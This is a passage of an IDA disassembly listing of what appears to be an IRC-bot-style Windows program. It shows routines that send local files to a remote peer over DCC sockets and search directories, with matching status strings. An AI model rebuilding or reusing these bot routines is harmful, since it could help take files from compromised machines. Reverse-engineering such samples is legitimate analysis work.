sub_40C040	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C060	proc near		; CODE XREF: sub_4020F9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40C060	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C080	proc near		; CODE XREF: sub_401839j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_40C080	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0A0	proc near		; CODE XREF: sub_40213Aj
		mov	eax, ecx
		retn
sub_40C0A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0C0	proc near		; CODE XREF: sub_4014A6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40105A
		mov	eax, esi
		pop	esi
		retn	4
sub_40C0C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0F0	proc near		; CODE XREF: sub_401CE9j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_40C0F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C120	proc near		; CODE XREF: sub_40106Ej

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401B86
		mov	ecx, eax
		call	sub_4016A4
		mov	esi, eax
		push	esi
		call	sub_4020F9
		push	esi
		mov	ebx, eax
		call	sub_40213F
		mov	ecx, [eax]
		push	ecx
		call	sub_4020F9
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_40213F
		push	esi
		mov	ebx, eax
		call	sub_4020F9
		mov	eax, [eax]
		push	eax
		call	sub_40213F
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401839
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401221
		push	esi
		mov	ecx, edi
		call	sub_401FCD
sub_40C120	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1E0	proc near		; CODE XREF: sub_40213Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_40C1E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C200	proc near		; CODE XREF: sub_40155Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_40C200	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C230	proc near		; CODE XREF: sub_402059j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_40C230	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C250	proc near		; CODE XREF: sub_401F14j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4011AE
		add	esp, 8
		retn	8
sub_40C250	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C280	proc near		; CODE XREF: sub_40105Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_40C280	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2A0	proc near		; CODE XREF: sub_4016A4j
		mov	eax, [ecx]
		retn
sub_40C2A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2C0	proc near		; CODE XREF: sub_401B86j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40133E
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_40C2C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2F0	proc near		; CODE XREF: sub_401221j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_2
		pop	ecx
		retn	4
sub_40C2F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C310	proc near		; CODE XREF: sub_4011AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40C32B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40C32B:				; CODE XREF: sub_40C310+11j
		retn
sub_40C310	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C360	proc near		; CODE XREF: sub_401BE5j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40C360
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	4
		push	0Eh
		push	5
		push	13h
		push	4Fh
		push	3
		push	3
		lea	eax, [esp+48h+var_24]
		push	4
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_401681
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_40C360	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C400	proc near		; CODE XREF: sub_401712j

var_AB4		= dword	ptr -0AB4h
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= byte ptr -0A9Ch
var_A98		= byte ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= dword	ptr -0A90h
var_A8C		= dword	ptr -0A8Ch
var_A88		= dword	ptr -0A88h
var_A84		= dword	ptr -0A84h
var_A78		= byte ptr -0A78h
var_A74		= dword	ptr -0A74h
var_A70		= byte ptr -0A70h
var_A6C		= byte ptr -0A6Ch
var_A5C		= byte ptr -0A5Ch
var_A54		= byte ptr -0A54h
var_A3C		= byte ptr -0A3Ch
var_A38		= byte ptr -0A38h
var_A24		= byte ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_910		= byte ptr -910h
var_710		= byte ptr -710h
var_510		= byte ptr -510h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40C400
		push	eax
		mov	large fs:0, esp
		sub	esp, 0AA0h
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4014D3
		mov	ebp, [esp+0ABCh+arg_0]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40C94E
		lea	ecx, [esp+0ABCh+var_A78]
		call	sub_401091
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+0AC4h+var_A3C]
		xor	esi, esi
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+0ACCh+var_4], esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+0AC0h+var_A70]
		mov	byte ptr [esp+0AC0h+var_4], 1
		call	sub_40200E
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		push	esi
		push	1
		push	2
		mov	[esp+0AC8h+var_AA8], esi
		mov	[esp+0AC8h+var_AA4], esi
		mov	[esp+0AC8h+var_A90], esi
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+0ABCh+var_AAC], ebx
		jnz	short loc_40C4CC
		lea	ecx, [esp+0ABCh+var_710]
		push	offset aDccFailedToCre ; "[DCC]: Failed	to create socket."
		push	ecx
		nop
		call	sub_5EE1E5
		add	esp, 8
		jmp	loc_40C8F5
; ---------------------------------------------------------------------------


loc_40C4CC:				; CODE XREF: sub_40C400+AFj
		xor	edx, edx
		push	esi
		mov	[esp+0AC0h+var_AA0], edx
		mov	word ptr [esp+0AC0h+var_AA0], 2
		mov	dword ptr [esp+0AC0h+var_A9C], edx
		mov	dword ptr [esp+0AC0h+var_A98], edx
		mov	[esp+0AC0h+var_A94], edx
		call	near ptr 71AB2B66h
		nop
		mov	word ptr [esp+0ABCh+var_AA0+2],	ax
		lea	eax, [esp+0ABCh+var_AA0]
		push	10h
		push	eax
		push	ebx
		mov	dword ptr [esp+0AC8h+var_A9C], esi
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_40C51A
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		push	offset aDccFailedToBin ; "dcc: failed to bind socket"
		jmp	loc_40C5C0
; ---------------------------------------------------------------------------


loc_40C51A:				; CODE XREF: sub_40C400+105j
		lea	eax, [esp+0ABCh+var_A88]
		lea	ecx, [esp+0ABCh+var_AA0]
		push	eax
		push	ecx
		push	ebx
		mov	[esp+0AC8h+var_A88], 10h
		nop
		call	near ptr 71AB951Eh
		mov	edx, [esp+0ABCh+var_AA0+2]
		push	edx
		call	near ptr 71AB2B66h
		nop
		lea	ecx, [esp+0ABCh+var_A70]
		mov	[esp+0ABCh+var_A8C], eax
		call	sub_4014D3
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+0ABCh+var_910]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		xor	edx, edx
		rep movsb


loc_40C573:				; CODE XREF: sub_40C400+1A3j
		mov	al, [esp+edx+0ABCh+var_910]
		cmp	al, 20h
		jnz	short loc_40C585
		mov	eax, 5Fh
		jmp	short loc_40C588
; ---------------------------------------------------------------------------


loc_40C585:				; CODE XREF: sub_40C400+17Cj
		movsx	eax, al


loc_40C588:				; CODE XREF: sub_40C400+183j
		mov	[esp+edx+0ABCh+var_510], al
		lea	edi, [esp+0ABCh+var_910]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jbe	short loc_40C573
		push	1
		push	ebx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_40C5DD
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		push	offset aDccFailedToOpe ; "dcc: failed to open socket"


loc_40C5C0:				; CODE XREF: sub_40C400+115j
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_40C8EF
; ---------------------------------------------------------------------------


loc_40C5DD:				; CODE XREF: sub_40C400+1B0j
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	ecx, [esp+0AD4h+var_A70]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 28503A0h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C644
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccFileDoesnTE ; "dcc: file doesn't exist"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	edx, [esp+0ABCh+var_710]
		push	offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
		push	edx
		nop
		call	sub_5EE1E5
		add	esp, 8
		jmp	loc_40C8EF
; ---------------------------------------------------------------------------


loc_40C644:				; CODE XREF: sub_40C400+201j
		push	0
		push	esi
		nop
		call	near ptr 2850000h
		lea	ecx, [esp+0ABCh+var_A54]
		mov	ebx, eax
		call	sub_401424
		mov	eax, [esp+0ABCh+var_A8C]
		push	ebx
		and	eax, 0FFFFh
		mov	byte ptr [esp+0AC0h+var_4], 2
		push	eax
		mov	eax, dword_4D60CD
		push	eax
		call	sub_401DF7
		add	esp, 4
		push	eax
		call	near ptr 71AB2BF4h
		nop
		push	eax
		nop
		call	near ptr 71AB2BC0h
		push	eax
		lea	ecx, [esp+0AD0h+var_A78]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+0AD4h+var_A5C]
		push	offset dword_443A30
		push	ecx
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+15h]
		call	sub_401681
		push	eax
		lea	ecx, [esp+0AC8h+var_A5C]
		call	sub_4014D3
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	edi, [esp+0AC4h+var_AB4]
		lea	ecx, [esp+0AC4h+var_A88]
		push	ecx
		push	0
		lea	edx, [esp+0ACCh+var_A1C]
		push	0
		push	edx
		push	0
		mov	[esp+0AD8h+var_A88], 3Ch
		mov	[esp+0AD8h+var_A84], 0
		mov	[esp+0AD8h+var_A18], edi
		mov	[esp+0AD8h+var_A1C], 1
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jg	short loc_40C73D
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccTimeout ; "dcc: timeout"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_40C8DA
; ---------------------------------------------------------------------------


loc_40C73D:				; CODE XREF: sub_40C400+310j
		lea	edx, [esp+0ABCh+var_A84]
		lea	eax, [esp+0ABCh+var_A24]
		push	edx
		push	eax
		push	edi
		mov	[esp+0AC8h+var_A84], 10h
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0ABCh+var_A74], eax
		jnz	short loc_40C78D
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	offset aDccUnableToOpe ; "dcc: unable to open socket"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_40C8DA
; ---------------------------------------------------------------------------


loc_40C78D:				; CODE XREF: sub_40C400+360j
		push	edi
		nop
		call	near ptr 71AB9639h
		test	ebx, ebx
		jz	loc_40C845


loc_40C79C:				; CODE XREF: sub_40C400+438j
		mov	ebp, 400h
		cmp	ebx, ebp
		jge	short loc_40C7A7
		mov	ebp, ebx


loc_40C7A7:				; CODE XREF: sub_40C400+3A3j
		mov	edx, ebx
		xor	eax, eax
		neg	edx
		push	2
		mov	ecx, 100h
		lea	edi, [esp+0AC0h+var_40C]
		push	eax
		push	edx
		push	esi
		rep stosd
		nop
		call	near ptr 28402D7h
		lea	eax, [esp+0ABCh+var_A90]
		push	0
		push	eax
		lea	ecx, [esp+0AC4h+var_40C]
		push	ebp
		push	ecx
		push	esi
		nop
		call	near ptr 2840000h
		mov	eax, [esp+0ABCh+var_A74]
		push	0
		lea	edx, [esp+0AC0h+var_40C]
		push	ebp
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0ABCh+var_AA8]
		mov	ebp, [esp+0ABCh+var_AA4]
		mov	edi, eax
		push	0
		cdq
		add	ecx, eax
		push	400h
		mov	[esp+0AC4h+var_AA8], ecx
		lea	ecx, [esp+0AC4h+var_40C]
		adc	ebp, edx
		mov	edx, [esp+0AC4h+var_A74]
		push	ecx
		push	edx
		mov	[esp+0ACCh+var_AA4], ebp
		nop
		call	near ptr 71AB615Ah
		cmp	eax, 1
		jl	loc_40C90E
		cmp	edi, 1
		jl	loc_40C90E
		sub	ebx, edi
		jnz	loc_40C79C
		mov	ebp, [esp+0ABCh+arg_0]


loc_40C845:				; CODE XREF: sub_40C400+396j
		push	esi
		nop
		call	near ptr 2830BD8h
		lea	ecx, [esp+0AB8h+var_A38]
		call	sub_401424
		mov	eax, [esp+0AB8h+var_AA0]
		mov	ecx, [esp+0AB8h+var_AA4]
		push	eax
		push	ecx
		lea	ecx, [esp+0AC0h+var_A6C]
		mov	byte ptr [esp+0AC0h], 3
		call	sub_4014D3
		mov	edx, [esp+0AC0h+var_A1C]
		push	eax
		push	edx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+0ACCh+var_A3C]
		push	offset aDccCompleteToS ; "dcc: complete	to %s, file: %s, (%d byte"...
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+0AC0h+var_A3C]
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 2
		call	sub_401226


loc_40C8DA:				; CODE XREF: sub_40C400+338j
					; sub_40C400+388j
		lea	ecx, [esp+0ABCh+var_A54]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		mov	ebx, [esp+0ABCh+var_AAC]


loc_40C8EF:				; CODE XREF: sub_40C400+1D8j
					; sub_40C400+23Fj
		xor	esi, esi
		cmp	ebx, esi
		jbe	short loc_40C8FC


loc_40C8F5:				; CODE XREF: sub_40C400+C7j
		push	ebx
		nop
		call	near ptr 71AB9639h


loc_40C8FC:				; CODE XREF: sub_40C400+4F3j
		mov	eax, [esp+0ABCh+var_A74]
		push	eax
		nop
		call	near ptr 71AB9639h
		push	esi
		nop
		call	near ptr 283040Fh


loc_40C90E:				; CODE XREF: sub_40C400+427j
					; sub_40C400+430j
		mov	esi, [esp+0ABCh+arg_0]
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aDccSocketError ; "dcc: socket error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	edx, [esp+0ABCh+var_A74]
		push	edx
		call	near ptr 71AB9639h
		nop
		push	1
		call	near ptr 283040Fh
		nop


loc_40C94E:				; CODE XREF: sub_40C400+39j
		mov	ecx, [esp+0ABCh+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 0AACh
		retn	4
sub_40C400	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CAD0	proc near		; CODE XREF: sub_401091j
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_40CAD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CAF0:				; CODE XREF: ___:loc_401AFFj
		add	ecx, 8
		jmp	sub_401226
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40CB10	proc near		; CODE XREF: sub_402045j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CB10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	0Ch
		push	9
		lea	eax, [esp+38h+var_24]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_40CB10	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CBB0	proc near		; CODE XREF: sub_401BA4j

var_279		= byte ptr -279h
var_278		= byte ptr -278h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= byte ptr -258h
var_247		= byte ptr -247h
var_232		= byte ptr -232h
var_221		= dword	ptr -221h
var_21D		= dword	ptr -21Dh
var_219		= dword	ptr -219h
var_215		= dword	ptr -215h
var_211		= dword	ptr -211h
var_20C		= byte ptr -20Ch
var_208		= byte ptr -208h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40CBB0
		push	eax
		mov	large fs:0, esp
		sub	esp, 270h
		add	ecx, 4
		push	esi
		call	sub_4014D3
		mov	esi, [esp+280h+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CDAE
		push	ebx
		lea	ecx, [esp+284h+var_260]
		call	sub_40198D
		lea	eax, [esi+2Ah]
		xor	ebx, ebx
		push	eax
		lea	ecx, [esp+288h+var_25C]
		mov	[esp+288h+var_4], ebx
		mov	[esp+288h+var_260], ebx
		call	sub_40200E
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+28Ch+var_278]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+288h+var_247]
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+28Ch+var_278]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 2
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+288h+var_232]
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		mov	edx, [esp+284h+var_221]
		xor	eax, eax
		mov	al, [esi+94h]
		xor	ecx, ecx
		mov	cl, [esi+93h]
		mov	[esp+284h+var_219], eax
		lea	eax, [esp+284h+var_278]
		mov	[esp+284h+var_215], ecx
		push	edx
		push	eax
		lea	ecx, [esp+28Ch+var_232]
		mov	[esp+28Ch+var_21D], ebx
		mov	[esp+28Ch+var_211], 1
		call	sub_401E2E
		push	offset asc_443B04 ; "\\"
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 3
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		setz	[esp+284h+var_279]
		call	sub_401226
		cmp	[esp+284h+var_279], bl
		jz	short loc_40CD2B
		mov	ecx, [esp+284h+var_221]
		lea	edx, [esp+284h+var_278]
		push	ecx
		push	edx
		lea	ecx, [esp+28Ch+var_232]
		call	sub_401E2E
		push	offset dword_446F74
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 4
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226


loc_40CD2B:				; CODE XREF: sub_40CBB0+142j
		push	ebx
		lea	ecx, [esp+288h+var_232]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+28Ch+var_247]
		call	sub_4014D3
		push	eax
		mov	eax, [esp+290h+var_219]
		push	eax
		lea	ecx, [esp+294h+var_25C]
		call	sub_401681
		mov	ecx, [esp+294h+var_260]
		push	eax
		push	ecx
		call	sub_402257
		add	esp, 18h
		lea	edx, [esp+284h+var_20C]
		push	eax
		push	offset aFilesFoundD ; "Files Found: %d"
		push	edx
		call	sub_5EE1E5
		nop
		mov	eax, [esp+28Ch+var_211]
		add	esp, 0Ch
		cmp	eax, ebx
		jnz	short loc_40CD99
		mov	eax, [esp+280h+var_215]
		lea	ecx, [esp+280h+var_208]
		push	eax
		push	ecx
		lea	ecx, [esp+288h+var_258]
		call	sub_401681
		mov	edx, [esp+288h+var_25C]
		push	eax
		push	edx
		call	sub_401523
		add	esp, 10h


loc_40CD99:				; CODE XREF: sub_40CBB0+1C6j
		mov	eax, [esp+280h+var_219]
		push	eax
		call	sub_401E24
		add	esp, 4
		push	ebx
		nop
		call	near ptr 283040Fh
		pop	ebx


loc_40CDAE:				; CODE XREF: sub_40CBB0+36j
		mov	ecx, [esp+280h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 27Ch
		retn	4
sub_40CBB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CE60	proc near		; CODE XREF: sub_40198Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CE60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40CE60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CEE0:				; CODE XREF: ___:loc_40226Bj
		push	0FFFFFFFFh
		push	offset loc_438D86
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+2Eh]
		mov	dword ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CF60	proc near		; CODE XREF: sub_402257j

var_548		= byte ptr -548h
var_51C		= byte ptr -51Ch
var_51B		= byte ptr -51Bh
var_408		= byte ptr -408h
var_304		= byte ptr -304h
var_200		= byte ptr -200h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		sub	esp, 548h
		lea	eax, [esp+548h+var_408]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+554h+arg_10]
		push	edi
		mov	edi, dword_50FAD8
		push	esi
		push	offset aS_2	; "%s\\*"
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2870000h
		mov	ebp, [esp+558h+arg_14]
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D027


loc_40CFB0:				; CODE XREF: sub_40CF60+C5j
		test	[esp+558h+var_548], 10h
